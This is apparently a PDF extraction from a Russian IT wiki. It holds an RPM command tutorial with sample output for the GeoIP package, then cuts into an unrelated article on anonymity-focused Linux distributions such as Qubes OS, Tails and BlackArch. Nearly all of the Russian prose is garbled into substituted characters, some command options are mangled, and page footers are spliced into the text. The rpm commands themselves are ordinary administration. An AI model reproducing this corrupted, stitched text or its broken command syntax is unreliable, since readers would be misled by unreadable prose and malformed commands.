RPM (Red Hat Package Manager) - ʵʪʦ ʥʘʠʙʦʣʝʝ ʧʦʧʫʣʷʨʥʘʷ ʫʪʠʣʠʪʘ ʫʧʨʘʚʣʝʥʠʷ 

ʧʘʢʝʪʘʤʠ ʜʣʷ Linux ʩʠʩʪʝʤ ʥʘ ʙʘʟʝ Red Hat, ʪʘʢʠʭ ʢʘʢ (RHEL, CentOS ʠ Fedora). 

ʆʥʘ ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʫʩʪʘʥʦʚʢʠ, ʫʜʘʣʝʥʠʷ, ʦʙʥʦʚʣʝʥʠʷ, ʟʘʧʨʦʩʘ ʠ ʧʨʦʚʝʨʢʠ 

ʧʘʢʝʪʦʚ ʧʨʦʛʨʘʤʤʥʦʛʦ ʦʙʝʩʧʝʯʝʥʠʷ. ʇʘʢʝʪ ʩʦʩʪʦʠʪ ʠʟ ʘʨʭʠʚʘ ʬʘʡʣʦʚ ʠ 

ʠʥʬʦʨʤʘʮʠʠ ʦ ʧʘʢʝʪʝ, ʚʢʣʶʯʘʷ ʠʤʷ, ʚʝʨʩʠʶ ʠ ʦʧʠʩʘʥʠʝ. ʌʦʨʤʘʪ ʬʘʡʣʦʚ ʪʘʢʞʝ 

ʥʘʟʳʚʘʝʪʩʷ RPM. 
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ɽʩʪʴ ʥʝʩʢʦʣʴʢʦ ʩʧʦʩʦʙʦʚ ʦʪʢʫʜʘ ʤʦʞʥʦ ʚʟʷʪʴ ʧʘʢʝʪʳ RPM: CD/DVD ʩ 

ʧʨʦʛʨʘʤʤʥʳʤ ʦʙʝʩʧʝʯʝʥʠʝʤ, CentOS Mirror, RedHat (ʥʫʞʝʥ ʘʢʢʘʫʥʪ) ʠʣʠ ʣʶʙʳʝ 

ʦʪʢʨʳʪʳʝ ʩʘʡʪʳ ʨʝʧʦʟʠʪʦʨʠʷ. 

ɺ RPM ʠʩʧʦʣʴʟʫʝʪʩʷ ʥʝʩʢʦʣʴʢʦ ʦʩʥʦʚʥʳʭ ʨʝʞʠʤʦʚ ʢʦʤʘʥʜ: Install (ʠʩʧʦʣʴʟʫʝʪʩʷ 

ʜʣʷ ʫʩʪʘʥʦʚʢʠ ʣʶʙʦʛʦ ʧʘʢʝʪʘ RPM), Remove (ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʫʜʘʣʝʥʠʷ, 

ʩʪʠʨʘʥʠʷ ʠʣʠ ʜʝʠʥʩʪʘʣʣʷʮʠʠ ʧʘʢʝʪʘ), Upgrade (ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʦʙʥʦʚʣʝʥʠʷ 

ʩʫʱʝʩʪʚʫʶʱʝʛʦ ʧʘʢʝʪʘ), Query (ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʟʘʧʨʦʩʘ ʧʘʢʝʪʘ) ʠ Verify 

(ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʧʨʦʚʝʨʢʠ ʧʘʢʝʪʦʚ RPM). 

ʈʘʩʩʤʦʪʨʠʤ ʵʪʦ ʥʘ ʧʨʠʤʝʨʝ. ʋ ʥʘʩ ʝʩʪʴ ʧʘʢʝʪ, ʠ ʪʝʧʝʨʴ ʧʦʩʤʦʪʨʠʤ, ʯʪʦ ʤʳ ʤʦʞʝʤ 

ʩ ʥʠʤ ʜʝʣʘʪʴ. 

 

ɋɉɊȿɅɆɁȺȿ 

ʂʘʢ ʫʟʥʘʪʴ ʠʥʬʦʨʤʘʮʠʶ ʦ ʧʘʢʝʪʝ RPM ʙʝʟ ʫʩʪʘʥʦʚʢʠ? 

ʇʦʩʣʝ ʪʦʛʦ, ʢʘʢ ʤʳ ʩʢʘʯʘʣʠ ʧʘʢʝʪ ʤʳ ʭʦʪʠʤ ʫʟʥʘʪʴ ʠʥʬʦʨʤʘʮʠʶ ʦ ʧʘʢʝʪʝ ʧʝʨʝʜ 

ʫʩʪʘʥʦʚʢʦʡ. ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ -qipoption (ʟʘʧʨʦʩ ʠʥʬʦʨʤʘʮʠʠ ʦ ʧʘʢʝʪʝ), 

ʯʪʦʙʳ ʚʳʚʝʩʪʠ ʠʥʬʦʨʤʘʮʠʶ ʦ ʧʘʢʝʪʝ. 

$ sudo rpm - qip GeoIP - 1.5 . 0- 11.el7.x86 _64 . rpm 

ɺʳʚʦʜ: 

Name        :  GeoIP  

Version      :  1.5 . 0 
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Release      :  11.el7  

Architecture :  x86_64  

Install  Date :  ( not  installed )  

Group        :  Development / Libraries  

Size         :  2905020  

License      :  LGPLv2+ and  GPLv2+ and  CC- BY- SA 

Signature    :  RSA/ SHA256,  Sun 20 Nov 2016  05: 49: 19 PM UTC,  Key ID 

24c6a8a7f4a80eb5  

Source  RPM  :  GeoIP - 1.5 . 0- 11.el7.src . rpm 

Build  Date   :  Sat  05 Nov 2016  08: 29: 17 PM UTC 

Build  Host   :  worker1 . bsys . centos . org  

Relocations  :  ( not  relocatable )  

Packager     :  CentOS BuildSystem   

Vendor       :  CentOS 

URL         :  http :// www.maxmind.com/app/c  

Summary     :  Library  for  country / city / organization to IP address or  hostname 

mapping  
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Description  :  

GeoIP  is  a C library that enables the user to find the country that any IP  

address or  hostname originates from .  It  uses a file based database that is  

accurate as  of June  2007  and  can optionally be updated on a weekly  

basis by  installing the GeoIP - update package .  This  database simply contains 

IP  

blocks as  keys ,  and  countries as  values .  This  database should be more 

complete  

and  accurate than using  reverse DNS lookups .  

 

This  package  includes GeoLite  data created by  MaxMind ,  available from  

http :// www.maxmind.com/  

ʂʘʢ ʫʩʪʘʥʦʚʠʪʴ RPM ʧʘʢʝʪ? 

ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʧʘʨʘʤʝʪʨ -ivh ʜʣʷ ʫʩʪʘʥʦʚʢʠ ʦʧʨʝʜʝʣʝʥʥʦʛʦ ʧʘʢʝʪʘ, ʢʘʢ 

ʧʦʢʘʟʘʥʦ ʥʠʞʝ. 

$ sudo rpm - ivh GeoIP - 1.5 . 0- 11.el7.x86 _64 . rpm 

ɺʳʚʦʜ: 
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   Preparing ...                           ################################# 

[100%]  

        package  GeoIP - 1.5 . 0- 11.el7.x86 _64 is  already installed  

ʂʘʢ ʧʨʦʚʝʨʠʪʴ ʫʩʪʘʥʦʚʣʝʥʥʳʡ ʧʘʢʝʪ RPM? 

ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʧʘʨʘʤʝʪʨ -q ʩ ʠʤʝʥʝʤ ʧʘʢʝʪʘ, ʠ ʦʥ ʧʦʢʘʞʝʪ, ʫʩʪʘʥʦʚʣʝʥ 

ʣʠ ʧʘʢʝʪ ʠʣʠ ʥʝʪ. 

$ sudo rpm - q GeoIP  

ɺʳʚʦʜ: 

GeoIP - 1.5 . 0- 11.el7.x86 _64  

ʂʘʢ ʚʳʚʝʩʪʠ ʩʧʠʩʦʢ ʚʩʝʭ ʬʘʡʣʦʚ ʜʣʷ ʦʧʨʝʜʝʣʝʥʥʦʛʦ ʫʩʪʘʥʦʚʣʝʥʥʦʛʦ ʧʘʢʝʪʘ 

RPM? 

ʄʳ ʤʦʞʝʤ ʧʝʨʝʯʠʩʣʠʪʴ ʚʩʝ ʬʘʡʣʳ ʫʩʪʘʥʦʚʣʝʥʥʳʭ ʧʘʢʝʪʦʚ rpm, ʠʩʧʦʣʴʟʫʷ ʦʧʮʠʶ 

-ql ʩ ʢʦʤʘʥʜʦʡ rpm. 

$ sudo rpm - ql GeoIP  

ɺʳʚʦʜ: 

/etc/ GeoIP . conf  

/ etc / GeoIP . conf . default  
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/ usr / bin / geoiplookup  

/ usr / bin / geoiplookup6  

/ usr / bin / geoipupdate  

/ usr / lib64 / libGeoIP . so . 1 

/ usr / lib64 / libGeoIP . so . 1.5 . 0 

/ usr / lib64 / libGeoIPUpdate . so . 0 

/ usr / lib64 / libGeoIPUpdate . so . 0.0 . 0 

/ usr / share / GeoIP  

/ usr / share / GeoIP / GeoIP - initial . dat  

/ usr / share / GeoIP / GeoIP . dat  

/ usr / share / GeoIP / GeoIPASNum. dat  

/ usr / share / GeoIP / GeoIPASNumv6. dat  

/ usr / share / GeoIP / GeoIPCity . dat  

/ usr / share / GeoIP / GeoIPCityv6 . dat  

/ usr / share / GeoIP / GeoIPCountry . dat  

/ usr / share / GeoIP / GeoIPCountryv6 . dat  

https://wiki.merionet.ru/


 
 

 

54                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

/ usr / share / GeoIP / GeoIPv6 - initial . dat  

...  

ʂʘʢ ʚʳʚʝʩʪʠ ʩʧʠʩʦʢ ʥʝʜʘʚʥʦ ʫʩʪʘʥʦʚʣʝʥʥʳʭ ʧʘʢʝʪʦʚ RPM? 

ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʧʘʨʘʤʝʪʨ -qa ʩ ʧʘʨʘʤʝʪʨʦʤ --last, ʚ ʢʦʪʦʨʦʤ ʙʫʜʫʪ 

ʧʝʨʝʯʠʩʣʝʥʳ ʚʩʝ ʥʝʜʘʚʥʦ ʫʩʪʘʥʦʚʣʝʥʥʳʝ ʧʘʢʝʪʳ rpm. 

$ sudo rpm - qa -- last  

ɺʳʚʦʜ 

GeoIP - 1.5 . 0- 11.el7.x86 _64                     Sat  01 Sep 2019  11: 34: 09 AM UTC 

wget - 1.14 - 15.el7_4.1 . x86_64                   Sun 26 Aug 2019  03: 21: 02 PM UTC 

iwl7265 - firmware - 22.0 . 7.0 - 62.2 . el7_5 . noarch   Thu 16 Aug 2019  02: 10: 18 PM UTC 

libgomp - 4.8 . 5- 28.el7_5.1 . x86_64               Thu 16 Aug 2019  02: 10: 15 PM UTC 

iwl2030 - firmware - 18.168 . 6.1 - 62.2 . el7_5 . noarch Thu 16 Aug 2019  02: 10: 15 PM UTC 

iptables - 1.4 . 21- 24.1 . el7_5 . x86_64             Thu 16 Aug 2019  02: 10: 15 PM UTC 

yum- plugin - fastestmirror - 1.1 . 31- 46.el7_5.noarch  Thu 16 Aug 2019  02: 10: 14 PM 

UTC 

iwl6000 - firmware - 9.221 . 4.1 - 62.2 . el7_5 . noarch  Thu 16 Aug 2019  02: 10: 14 PM UTC 
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iwl4965 - firmware - 228.61 . 2.24 - 62.2 . el7_5 . noarch Thu 16 Aug 2019  02: 10: 14 PM 

UTC 

iwl105 - firmware - 18.168 . 6.1 - 62.2 . el7_5 . noarch  Thu 16 Aug 2019  02: 10: 14 PM UTC 

iwl100 - firmware - 39.31 . 5.1 - 62.2 . el7_5 . noarch   Thu 16 Aug 2019  02: 10: 13 PM UTC 

iwl1000 - firmware - 39.31 . 5.1 - 62.2 . el7_5 . noarch  Thu 16 Aug 2019  02: 10: 13 PM UTC 

ca - certificates - 2018.2 . 22- 70.0 . el7_5 . noarch   Thu 16 Aug 2019  02: 10: 13 PM UTC 

iwl6000g2b - firmware - 17.168 . 5.2 - 62.2 . el7_5 . noarch Thu 16 Aug 2019  02: 10: 12 PM 

UTC 

...  

ʂʘʢ ʫʩʪʘʥʦʚʠʪʴ RPM ʧʘʢʝʪ ʙʝʟ ʟʘʚʠʩʠʤʦʩʪʝʡ? 

ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʧʘʨʘʤʝʪʨʳ -ivh ʩ ʧʘʨʘʤʝʪʨʦʤ --nodeps ʜʣʷ ʧʨʦʚʝʨʢʠ 

ʦʪʩʫʪʩʪʚʠʷ ʟʘʚʠʩʠʤʦʩʪʝʡ, ʯʪʦʙʳ ʫʩʪʘʥʦʚʠʪʴ ʢʦʥʢʨʝʪʥʳʡ ʧʘʢʝʪ ʙʝʟ ʟʘʚʠʩʠʤʦʩʪʝʡ, 

ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ. 

$ sudo rpm - ivh -- nodeps GeoIP - 1.5 . 0- 11.el7.x86 _64 . rpm 

ɺʳʚʦʜ 

   Preparing ...                           ################################# 

[100%]  

ʂʘʢ ʟʘʤʝʥʠʪʴ ʫʩʪʘʥʦʚʣʝʥʥʳʡ ʧʘʢʝʪ RPM? 
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ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʧʘʨʘʤʝʪʨʳ -ivh ïreplacepkgs ʜʣʷ ʟʘʤʝʥʳ 

ʫʩʪʘʥʦʚʣʝʥʥʦʛʦ ʧʘʢʝʪʘ. 

$ sudo rpm - ivh -- replacepkgs GeoIP - 1.5 . 0- 11.el7.x86 _64 . rpm 

ɺʳʚʦʜ 

   Preparing ...                           ################################# 

[100%]  

    Updating  /  installing ...  

      1: GeoIP - 1.5 . 0- 11.el7                ################################# 

[100%]  

 

ɋɠȿɣɂɅȼɂ 

ʂʘʢ ʫʜʘʣʠʪʴ ʧʘʢʝʪ RPM? 

ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʧʘʨʘʤʝʪʨ -e ʜʣʷ ʫʜʘʣʝʥʠʷ ʦʧʨʝʜʝʣʝʥʥʦʛʦ ʧʘʢʝʪʘ, 

ʫʩʪʘʥʦʚʣʝʥʥʦʛʦ ʙʝʟ ʟʘʚʠʩʠʤʦʩʪʝʡ. ʆʙʨʘʪʠʪʝ ʚʥʠʤʘʥʠʝ, ʯʪʦ ʫʜʘʣʝʥʠʝ 

ʦʧʨʝʜʝʣʝʥʥʦʛʦ ʧʘʢʝʪʘ ʤʦʞʝʪ ʥʘʨʫʰʠʪʴ ʨʘʙʦʪʫ ʜʨʫʛʠʭ ʧʨʠʣʦʞʝʥʠʡ. 

$ sudo  rpm - e -- nodeps GeoIP  

 

ɆɀɅɆɁɣɂɅȼɂ 

ʂʘʢ ʦʙʥʦʚʠʪʴ ʫʩʪʘʥʦʚʣʝʥʥʳʡ ʧʘʢʝʪ RPM? 
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ɼʣʷ ʦʙʥʦʚʣʝʥʠʷ ʧʘʢʝʪʘ ʤʳ ʠʩʧʦʣʴʟʫʝʤ ʧʘʨʘʤʝʪʨʳ -Uvh 

$ sudo rpm - Uvh GeoIP - 1.5 . 0- 11.el7.x86 _64 . rpm 

 

ɡȿɇɈɆɉ 

ʂʘʢ ʟʘʧʨʦʩʠʪʴ ʚʩʝ ʫʩʪʘʥʦʚʣʝʥʥʳʝ ʧʘʢʝʪʳ? 

ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʧʘʨʘʤʝʪʨʳ -a ʚʤʝʩʪʝ ʩ q ʜʣʷ ʟʘʧʨʦʩʘ ʚʩʝʭ 

ʫʩʪʘʥʦʚʣʝʥʥʳʭ ʧʘʢʝʪʦʚ ʥʘ ʩʝʨʚʝʨʝ. 

$ sudo rpm - qa 

ɺʳʚʦʜ 

   python - firewall - 0.4 . 4.4 - 14.el7.noarch  

    ncurses - base - 5.9 - 14.20130511 . el7_4 . noarch  

    plymouth - 0.8 . 9- 0.31 . 20140113.el7.centos . x86_64  

    kbd - misc - 1.15 . 5- 13.el7.noarch  

    vim - common- 7.4 . 160 - 4.el7.x86 _64  

    bash - 4.2 . 46- 30.el7.x86 _64  

    dmidecode - 3.0 - 5.el7.x86 _64  
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    filesystem - 3.2 - 25.el7.x86 _64  

    kbd - 1.15 . 5- 13.el7.x86 _64  

    vim - enhanced - 7.4 . 160 - 4.el7.x86 _64  

    firewalld - 0.4 . 4.4 - 14.el7.noarch  

    ....  

ʂʘʢ ʟʘʧʨʦʩʠʪʴ ʢʦʥʢʨʝʪʥʳʡ ʧʘʢʝʪ? 

ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʢʦʤʘʥʜʫ grep, ʯʪʦʙʳ ʫʟʥʘʪʴ, ʫʩʪʘʥʦʚʣʝʥ ʣʠ ʢʦʥʢʨʝʪʥʳʡ 

ʧʘʢʝʪ ʠʣʠ ʥʝʪ. 

$ sudo rpm - qa |  grep GeoIP  

ɺʳʚʦʜ 

  GeoIP - 1.5 . 0- 11.el7.x86 _64  

ʂʘʢ ʟʘʧʨʦʩʠʪʴ ʬʘʡʣ, ʢʦʪʦʨʳʡ ʧʨʠʥʘʜʣʝʞʠʪ ʧʘʢʝʪʫ RPM? 

ʏʪʦʙʳ ʫʟʥʘʪʴ ʢ ʢʘʢʦʤʫ ʧʘʢʝʪʫ RPM ʦʪʥʦʩʠʪʩʷ ʬʘʡʣ /usr/lib64/libGeoIP.so.1.5.0. 

ʠʩʧʦʣʴʟʫʝʤ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

$ sudo rpm - qf / usr / lib64 / libGeoIP . so . 1.5 . 0 

ɺʳʚʦʜ 
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GeoIP - 1.5 . 0- 11.el7.x86 _64  

 

ɇɈɆɁɂɈȺȿ 

ʂʘʢ ʧʦʣʫʯʠʪʴ ʠʥʬʦʨʤʘʮʠʶ ʜʣʷ ʢʦʥʢʨʝʪʥʦʛʦ ʧʘʢʝʪʘ? 

ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʧʘʨʘʤʝʪʨʳ -i ʚʤʝʩʪʝ ʩ q, ʯʪʦʙʳ ʧʦʣʫʯʠʪʴ ʠʥʬʦʨʤʘʮʠʶ 

ʜʣʷ ʢʦʥʢʨʝʪʥʦʛʦ ʧʘʢʝʪʘ, ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ. 

$ sudo rpm - qi GeoIP  

ɺʳʚʦʜ 

Name        :  GeoIP  

Version      :  1.5 . 0 

Release      :  11.el7  

Architecture :  x86_64  

Install  Date :  Thu 16 Aug 2018  02: 04: 09 PM UTC 

Group        :  Development / Libraries  

Size         :  2905020  

License      :  LGPLv2+ and  GPLv2+ and  CC- BY- SA 
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Signature    :  RSA/ SHA256,  Sun 20 Nov 2016  05: 49: 19 PM UTC,  Key ID 

24c6a8a7f4a80eb5  

Source  RPM  :  GeoIP - 1.5 . 0- 11.el7.src . rpm 

Build  Date   :  Sat  05 Nov 2016  08: 29: 17 PM UTC 

Build  Host   :  worker1 . bsys . centos . org  

Relocations  :  ( not  relocatable )  

Packager     :  CentOS BuildSystem  

Vendor       :  CentOS 

URL         :  http :// www.maxmind.com/app/c  

Summary     :  Library  for  country / city / organization to IP address or  hostname 

mapping  

Description  :  

GeoIP  is  a C library that enables the user to find the country that any IP  

address or  hostname originates from .  It  uses a file based database that is  

accurate as  of June  2007  and  can optionally be updated on a weekly  

basis by  installing the GeoIP - update package .  This  database simply contains 

IP  

https://wiki.merionet.ru/
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blocks as  keys ,  and  countries as  values .  This  database should be more 

complete  

and  accurate than using  reverse DNS lookups .  

 

This  package  includes GeoLite  data created by  MaxMind ,  available from  

http :// www.maxmind.com/  

ʂʘʢ ʧʨʦʚʝʨʠʪʴ RPM ʧʘʢʝʪ? 

ʄʳ ʤʦʞʝʤ ʧʨʦʚʝʨʠʪʴ ʧʘʢʝʪ, ʩʨʘʚʥʠʚ ʠʥʬʦʨʤʘʮʠʶ ʦʙ ʫʩʪʘʥʦʚʣʝʥʥʳʭ ʬʘʡʣʘʭ 

ʧʘʢʝʪʘ ʩ ʙʘʟʦʡ ʜʘʥʥʳʭ rpm, ʠʩʧʦʣʴʟʫʷ ʦʧʮʠʶ -Vp. 

$ sudo rpm - Vp GeoIP - 1.5 . 0- 11.el7.x86 _64 . rpm 

ʂʘʢ ʧʨʦʚʝʨʠʪʴ ʚʩʝ ʧʘʢʝʪʳ RPM? 

ʄʳ ʤʦʞʝʤ ʧʨʦʚʝʨʠʪʴ ʚʩʝ ʫʩʪʘʥʦʚʣʝʥʥʳʝ ʧʘʢʝʪʳ rpm, ʠʩʧʦʣʴʟʫʷ ʦʧʮʠʶ -Va 

$ sudo rpm - Va 

ɺʳʚʦʜ 

S. 5. ... T.   c / etc / sysconfig / authconfig  

S. 5. ... T.   c / etc / yum. repos . d/ CentOS- Base. repo  

. M.......   c / etc / machine - id  
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. M.......   g / etc / udev / hwdb. bin  

. M.......   g / var / lib / systemd / random - seed  

. M.......   c / etc / shadow  

S. 5. ... T.   c / etc / ssh / sshd_config  

. M.......   c / etc / audit / rules . d/ audit . rules  

S. 5. ... T.   c / etc / NetworkManager / NetworkManager . conf  

.... L....   c / etc / pam. d/ fingerprint - auth  

.... L....   c / etc / pam. d/ password - auth  

.... L....   c / etc / pam. d/ postlogin  

15 ȓțȟȠȐȝ ȌȐșȚȘȐȉțȚȐȊȖȊ Linux, ȖȘȐȍȕȚȐȘȖȊȈȕȕȣȝ ȕȈ 

ȈȕȖȕȐȔȕȖșȚȤ Ȑ ȉȍȏȖȗȈșȕȖșȚȤ 

ɹʳʪʴ ʘʥʦʥʠʤʥʳʤ ʚ ʀʥʪʝʨʥʝʪʝ - ʵʪʦ ʥʝ ʪʦ ʞʝ ʩʘʤʦʝ, ʯʪʦ ʙʝʟʦʧʘʩʥʦʝ ʠʩʧʦʣʴʟʦʚʘʥʠʝ 

ʀʥʪʝʨʥʝʪʘ, ʦʜʥʘʢʦ, ʠ ʧʝʨʚʦʝ ʠ ʚʪʦʨʦʝ ʧʨʝʜʧʦʣʘʛʘʶʪ ʩʦʭʨʘʥʝʥʠʝ 

ʢʦʥʬʠʜʝʥʮʠʘʣʴʥʦʩʪʠ ʩʝʙʷ ʠ ʩʚʦʠʭ ʜʘʥʥʳʭ ʚʜʘʣʠ ʦʪ ʧʦʩʪʦʨʦʥʥʠʭ ʛʣʘʟ, ʢʦʪʦʨʳʝ 

ʤʦʛʫʪ ʚʦʩʧʦʣʴʟʦʚʘʪʴʩʷ ʫʷʟʚʠʤʦʩʪʷʤʠ ʩʠʩʪʝʤʳ, ʯʪʦʙʳ ʥʘʥʝʩʪʠ ʫʱʝʨʙ. 

ʇʦʵʪʦʤʫ ʨʘʟʨʘʙʦʪʯʠʢʠ ʚʟʷʣʠ ʥʘ ʩʝʙʷ ʟʘʜʘʯʫ ʩʦʟʜʘʚʘʪʴ ʩʧʝʮʠʘʣʠʟʠʨʦʚʘʥʥʳʝ 

ʜʠʩʪʨʠʙʫʪʠʚʳ, ʩʦʜʝʨʞʘʱʠʝ ʤʥʦʞʝʩʪʚʦ ʠʥʩʪʨʫʤʝʥʪʦʚ, ʧʦʟʚʦʣʷʶʱʠʭ 

ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʦʜʥʦʚʨʝʤʝʥʥʦ ʨʘʙʦʪʘʪʴ ʚ ʨʝʞʠʤʝ ʦʥʣʘʡʥ ʠ ʪʦ ʞʝ ʚʨʝʤʷ ʩʦʭʨʘʥʷʪʴ 

ʢʦʥʬʠʜʝʥʮʠʘʣʴʥʦʩʪʴ. 
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ʆʙʱʠʤ ʬʘʢʪʦʨʦʤ ʧʦʯʪʠ ʚʦ ʚʩʝʭ ʜʠʩʪʨʠʙʫʪʠʚʘʭ Linux, ʦʨʠʝʥʪʠʨʦʚʘʥʥʳʭ ʥʘ 

ʢʦʥʬʠʜʝʥʮʠʘʣʴʥʦʩʪʴ, ʷʚʣʷʶʪʩʷ ʠʭ ʩʚʷʟʴ ʩ Tor, ʫʯʠʪʳʚʘʷ, ʯʪʦ ʤʥʦʛʠʝ ʠʟ ʥʠʭ 

ʧʦʩʪʘʚʣʷʶʪʩʷ ʩʦ ʚʩʪʨʦʝʥʥʦʡ ʩʝʪʝʚʦʡ ʩʣʫʞʙʦʡ Tor ʜʣʷ ʦʙʝʩʧʝʯʝʥʠʷ ʜʦʣʞʥʦʛʦ 

ʫʨʦʚʥʷ ʘʥʦʥʠʤʥʦʩʪʠ.

 

QUBES OS 

Qubes OS - ʵʪʦ ʦʨʠʝʥʪʠʨʦʚʘʥʥʳʡ ʥʘ ʙʝʟʦʧʘʩʥʦʩʪʴ ʜʠʩʪʨʠʙʫʪʠʚ ʥʘ ʦʩʥʦʚʝ Fedora, 

ʢʦʪʦʨʳʡ ʦʙʝʩʧʝʯʠʚʘʝʪ ʙʝʟʦʧʘʩʥʦʩʪʴ ʧʫʪʝʤ ʨʘʟʜʝʣʝʥʠʷ ʥʘ ʯʘʩʪʠ. ʕʪʦ ʧʨʦʠʩʭʦʜʠʪ 

ʧʫʪʝʤ ʟʘʧʫʩʢʘ ʢʘʞʜʦʛʦ ʵʢʟʝʤʧʣʷʨʘ ʟʘʧʫʱʝʥʥʳʭ ʧʨʦʛʨʘʤʤ ʚ ʠʟʦʣʠʨʦʚʘʥʥʦʡ 

ʚʠʨʪʫʘʣʴʥʦʡ ʩʨʝʜʝ ʠ ʧʦʩʣʝʜʫʶʱʝʛʦ ʫʜʘʣʝʥʠʷ ʚʩʝʭ ʝʛʦ ʜʘʥʥʳʭ ʧʨʠ ʟʘʢʨʳʪʠʠ 

ʧʨʦʛʨʘʤʤʳ. 

 

https://wiki.merionet.ru/
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ʆʉ Qubes ʠʩʧʦʣʴʟʫʝʪ ʜʠʩʧʝʪʯʝʨ ʧʘʢʝʪʦʚ RPM ʠ ʤʦʞʝʪ ʨʘʙʦʪʘʪʴ ʩ ʣʶʙʦʡ ʨʘʙʦʯʝʡ 

ʩʨʝʜʦʡ ʧʦ ʚʘʰʝʤʫ ʚʳʙʦʨʫ, ʥʝ ʪʨʝʙʫʷ ʙʦʣʴʰʠʭ ʨʝʩʫʨʩʦʚ ʢʦʤʧʴʶʪʝʨʘ. 

ʉʢʘʯʘʪʴ Qubes OS 

 

TAILS: THE AMNESIC INCOGNITO LIVE SYSTEM 

Tails - ʵʪʦ ʜʠʩʪʨʠʙʫʪʠʚ Debian, ʨʘʟʨʘʙʦʪʘʥʥʳʡ ʜʣʷ ʟʘʱʠʪʳ ʣʠʯʥʦʩʪʠ 

ʧʦʣʴʟʦʚʘʪʝʣʝʡ ʚ ʀʥʪʝʨʥʝʪʝ ʠ ʦʙʝʩʧʝʯʝʥʠʷ ʠʭ ʘʥʦʥʠʤʥʦʩʪʠ. Tails ʧʦʩʪʨʦʝʥ ʪʘʢ, 

ʯʪʦʙʳ ʧʝʨʝʜʘʚʘʪʴ ʚʝʩʴ ʚʭʦʜʷʱʠʡ ʠ ʠʩʭʦʜʷʱʠʡ ʪʨʘʬʠʢ ʯʝʨʝʟ ʩʝʪʴ Tor, ʙʣʦʢʠʨʫʷ 

ʚʩʝ ʦʪʩʣʝʞʠʚʘʝʤʳʝ ʩʦʝʜʠʥʝʥʠʷ. 

 

ʆʥ ʠʩʧʦʣʴʟʫʝʪ Gnome ʚ ʢʘʯʝʩʪʚʝ ʩʨʝʜʳ ʨʘʙʦʯʝʛʦ ʩʪʦʣʘ ʧʦ ʫʤʦʣʯʘʥʠʶ ʠ, ʤʦʞʝʪ 

ʙʳʪʴ ʫʜʦʙʥʦ ʟʘʧʫʱʝʥ ʩ live DVD/USB, ʩʦʭʨʘʥʷʷ ʚʩʝ ʩʚʦʠ ʜʘʥʥʳʝ ʚ ʦʧʝʨʘʪʠʚʥʦʡ 

https://wiki.merionet.ru/
https://www.qubes-os.org/downloads/
https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/2.jpg
https://wiki.merionet.ru/images/15-luchshix-distributivov-linux-orientirovannyx-na-anonimnost-i-bezopasnost/2.jpg
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ʧʘʤʷʪʠ. ʆʥ ʧʦʩʪʘʚʣʷʝʪʩʷ ʩ ʠʥʩʪʨʫʤʝʥʪʘʤʠ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ, ʢʦʪʦʨʳʝ 

ʩʧʝʮʠʘʣʴʥʦ ʧʨʝʜʥʘʟʥʘʯʝʥʳ ʜʣʷ ʦʩʦʙʳʭ ʮʝʣʝʡ ʢʦʥʬʠʜʝʥʮʠʘʣʴʥʦʩʪʠ, ʥʘʧʨʠʤʝʨ, 

ʪʘʢʠʭ ʢʘʢ ʧʦʜʤʝʥʘ MAC-ʘʜʨʝʩʘ ʠ ʤʘʩʢʠʨʦʚʢʘ ʦʢʦʥ. 

ʉʢʘʯʘʪʴ TAILS 

 

BLACKARCH LINUX 

BlackArch Linux - ʵʪʦ ʣʝʛʢʦʚʝʩʥʳʡ ʜʠʩʪʨʠʙʫʪʠʚ ʥʘ ʦʩʥʦʚʝ Arch Linux, 

ʧʨʝʜʥʘʟʥʘʯʝʥʥʳʡ ʜʣʷ ʪʝʩʪʠʨʦʚʱʠʢʦʚ ʥʘ ʧʨʦʥʠʢʥʦʚʝʥʠʝ, ʵʢʩʧʝʨʪʦʚ ʧʦ 

ʙʝʟʦʧʘʩʥʦʩʪʠ ʠ ʠʩʩʣʝʜʦʚʘʪʝʣʝʡ ʙʝʟʦʧʘʩʥʦʩʪʠ. ʆʥ ʧʨʝʜʣʘʛʘʝʪ ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʚʩʝ 

ʬʫʥʢʮʠʠ, ʢʦʪʦʨʳʝ ʤʦʞʝʪ ʧʨʝʜʣʦʞʠʪʴ Arch Linux, ʚ ʩʦʯʝʪʘʥʠʠ ʩ ʢʫʯʝʡ 

ʠʥʩʪʨʫʤʝʥʪʦʚ ʢʠʙʝʨʙʝʟʦʧʘʩʥʦʩʪʠ, ʥʘʩʯʠʪʳʚʘʶʱʠʭ ʙʦʣʝʝ 2000, ʢʦʪʦʨʳʝ ʤʦʞʥʦ 

ʫʩʪʘʥʦʚʠʪʴ, ʢʘʢ ʧʦ ʦʪʜʝʣʴʥʦʩʪʠ, ʪʘʢ ʠ ʛʨʫʧʧʘʤʠ. 

 

https://wiki.merionet.ru/
https://tails.boum.org/install/index.en.html
